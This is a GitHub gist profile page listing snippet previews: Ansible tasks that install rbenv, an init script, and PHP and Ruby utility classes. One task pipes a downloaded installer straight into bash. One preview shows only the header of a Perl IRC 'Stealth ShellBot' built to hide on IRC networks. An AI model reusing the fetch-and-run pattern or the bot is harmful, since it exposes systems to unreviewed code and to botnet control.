Skip to content

Instantly share code, notes, and snippets.

View r3nya's full-sized avatar
☮️
¯\_(ツ)_/¯

Andrew M. r3nya

☮️
¯\_(ツ)_/¯
View GitHub Profile
- name: create user $user
action: user name=$user
- name: download rbenv-installer for $user
action: get_url url=https://raw.github.com/fesplugas/rbenv-installer/master/bin/rbenv-installer dest=/tmp/rbenv-installer mode=0755
- name: run rbenv-installer
action: raw HOME=/home/$user /tmp/rbenv-installer
- name: copy rbenv environment setup
---
- name: install rb-installer
action: shell curl https://raw.github.com/fesplugas/rbenv-installer/master/bin/rbenv-installer | bash
- name: update PATH in ~/.bash_profile for rb-env
action: lineinfile dest=/home/$user/.bash_profile line=export\ PATH="$HOME/.rbenv/bin:$PATH" regexp=PATH.*rbenv
- name: add rb-env init to ~/.bash_profile
action: lineinfile dest=/home/$user/.bash_profile line='eval "$(rbenv init -)"' regexp=eval.*rbenv
@r3nya
r3nya / bluepill
Created October 12, 2013 17:33 — forked from sasha-id/bluepill
#!/bin/sh
### BEGIN INIT INFO
# Provides: bluepill
# Required-Start: $local_fs $remote_fs $network $syslog $time
# Required-Stop: $local_fs $remote_fs $network $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: bluepill daemon, providing process monitoring
# Description: bluepill is a monitoring tool. More info at http://github.com/arya/bluepill.
---
# Attempt to check if the folder exist.
# If it exist echo out a string. You have to echo something
# if the directory does exist or else the task is considered failed
# Output is set to $is_default_created. Note that this variable is
# object and not an atomic value.
- name: Attempt to check if a directory exist
action: shell test -d /my/folder && echo "exist" || echo ""
register: is_folder_created
---
# ^^^ YAML documents must begin with the document separator "---"
#
#### Example docblock, I like to put a descriptive comment at the top of my
#### playbooks.
#
# Overview: Playbook to bootstrap a new host for configuration management.
# Applies to: production
# Description:
# Ensures that a host is configured for management with Ansible.
#!/usr/bin/perl
# ShellBOT
# 0ldW0lf - oldwolf@atrix-team.org
# - www.atrix-team.org
# Stealth ShellBot Vers?o 0.2 by Thiago X
# Feito para ser usado em grandes redes de IRC sem IRCOP enchendo o saco :)
# Mudan?as:
# - O Bot pega o nick/ident/name em uma URL e entra no IRC disfar?ado :);
# - O Bot agora responde PINGs;
# - Voc? pode definir o prefixo dos comandos nas configura??es;
<?php
class Setting {
public $values=array();
protected static $_instance = null;
private $config;
function __construct() {
function show_files($dir_name, $regexp = '/^([^.])/') {
$files = preg_grep($regexp, scandir($dir_name));
if ($regexp != '/^([^.])/') {
$files = preg_grep('/^([^.])/', scandir($dir_name));
}
if ($key_del = array_search('key.txt', $files)) {
unset($files[$key_del]);
}
require 'yandex-translator'
class Translate
attr_accessor :words_for_translate
attr_reader :translated_word
def initialize(words)
set_api_key
@words_for_translate = words
end
def translate(options = nil)
@r3nya
r3nya / links.md
Last active August 29, 2015 14:07